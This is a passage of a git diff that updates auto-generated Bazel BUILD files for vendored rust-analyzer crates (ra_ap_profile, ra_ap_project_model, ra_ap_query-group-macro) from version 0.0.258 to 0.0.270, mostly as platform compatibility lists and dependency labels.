+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__serde-1.0.219//:serde",
+        "@vendor_ts__serde_json-1.0.140//:serde_json",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.258.bazel
deleted file mode 100644
index 755a0f6b3834..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.258.bazel
+++ /dev/null
@@ -1,125 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_profile",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_profile",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__cfg-if-1.0.0//:cfg_if",
-        "@vendor__libc-0.2.169//:libc",
-    ] + select({
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.52.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
-            "@vendor__perf-event-0.4.7//:perf_event",  # cfg(target_os = "linux")
-        ],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
-            "@vendor__perf-event-0.4.7//:perf_event",  # cfg(target_os = "linux")
-        ],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
-            "@vendor__perf-event-0.4.7//:perf_event",  # cfg(target_os = "linux")
-        ],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
-            "@vendor__perf-event-0.4.7//:perf_event",  # cfg(target_os = "linux")
-        ],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-sys-0.52.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
-            "@vendor__perf-event-0.4.7//:perf_event",  # cfg(target_os = "linux")
-        ],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
-            "@vendor__perf-event-0.4.7//:perf_event",  # cfg(target_os = "linux")
-        ],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
-            "@vendor__perf-event-0.4.7//:perf_event",  # cfg(target_os = "linux")
-        ],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.52.0//:windows_sys",  # cfg(windows)
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__perf-event-0.4.7//:perf_event",  # cfg(target_os = "linux")
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__perf-event-0.4.7//:perf_event",  # cfg(target_os = "linux")
-        ],
-        "//conditions:default": [],
-    }),
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.270.bazel
new file mode 100644
index 000000000000..2a4bffbc5c89
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.270.bazel
@@ -0,0 +1,125 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_profile",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_profile",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__cfg-if-1.0.0//:cfg_if",
+        "@vendor_ts__libc-0.2.169//:libc",
+    ] + select({
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [
+            "@vendor_ts__perf-event-0.4.7//:perf_event",  # cfg(all(target_os = "linux", not(target_env = "ohos")))
+        ],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [
+            "@vendor_ts__perf-event-0.4.7//:perf_event",  # cfg(all(target_os = "linux", not(target_env = "ohos")))
+        ],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [
+            "@vendor_ts__perf-event-0.4.7//:perf_event",  # cfg(all(target_os = "linux", not(target_env = "ohos")))
+        ],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [
+            "@vendor_ts__perf-event-0.4.7//:perf_event",  # cfg(all(target_os = "linux", not(target_env = "ohos")))
+        ],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [
+            "@vendor_ts__perf-event-0.4.7//:perf_event",  # cfg(all(target_os = "linux", not(target_env = "ohos")))
+        ],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [
+            "@vendor_ts__perf-event-0.4.7//:perf_event",  # cfg(all(target_os = "linux", not(target_env = "ohos")))
+        ],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [
+            "@vendor_ts__perf-event-0.4.7//:perf_event",  # cfg(all(target_os = "linux", not(target_env = "ohos")))
+        ],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
+            "@vendor_ts__perf-event-0.4.7//:perf_event",  # cfg(all(target_os = "linux", not(target_env = "ohos")))
+        ],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
+            "@vendor_ts__perf-event-0.4.7//:perf_event",  # cfg(all(target_os = "linux", not(target_env = "ohos")))
+        ],
+        "//conditions:default": [],
+    }),
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.258.bazel
deleted file mode 100644
index 7ebaa0815432..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.258.bazel
+++ /dev/null
@@ -1,114 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_project_model",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db": "base_db",
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg": "cfg",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths": "paths",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_toolchain-0.0.258//:ra_ap_toolchain": "toolchain",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    proc_macro_deps = [
-        "@vendor__serde_derive-1.0.217//:serde_derive",
-    ],
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_project_model",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__anyhow-1.0.95//:anyhow",
-        "@vendor__cargo_metadata-0.18.1//:cargo_metadata",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__la-arena-0.3.1//:la_arena",
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db",
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_toolchain-0.0.258//:ra_ap_toolchain",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__semver-1.0.24//:semver",
-        "@vendor__serde-1.0.217//:serde",
-        "@vendor__serde_json-1.0.135//:serde_json",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__triomphe-0.1.14//:triomphe",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.270.bazel
new file mode 100644
index 000000000000..bac3ea62b1c3
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.270.bazel
@@ -0,0 +1,114 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_project_model",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db",
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_toolchain-0.0.270//:ra_ap_toolchain": "toolchain",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    proc_macro_deps = [
+        "@vendor_ts__serde_derive-1.0.219//:serde_derive",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_project_model",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__anyhow-1.0.97//:anyhow",
+        "@vendor_ts__cargo_metadata-0.18.1//:cargo_metadata",
+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__la-arena-0.3.1//:la_arena",
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db",
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_toolchain-0.0.270//:ra_ap_toolchain",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__semver-1.0.24//:semver",
+        "@vendor_ts__serde-1.0.219//:serde",
+        "@vendor_ts__serde_json-1.0.140//:serde_json",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__triomphe-0.1.14//:triomphe",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_query-group-macro-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_query-group-macro-0.0.270.bazel
new file mode 100644
index 000000000000..66b54f0975e5
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_query-group-macro-0.0.270.bazel
@@ -0,0 +1,90 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_proc_macro")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_proc_macro(
+    name = "ra_ap_query_group_macro",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_query-group-macro",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__heck-0.5.0//:heck",
+        "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
+        "@vendor_ts__quote-1.0.40//:quote",
+        "@vendor_ts__salsa-0.19.0//:salsa",
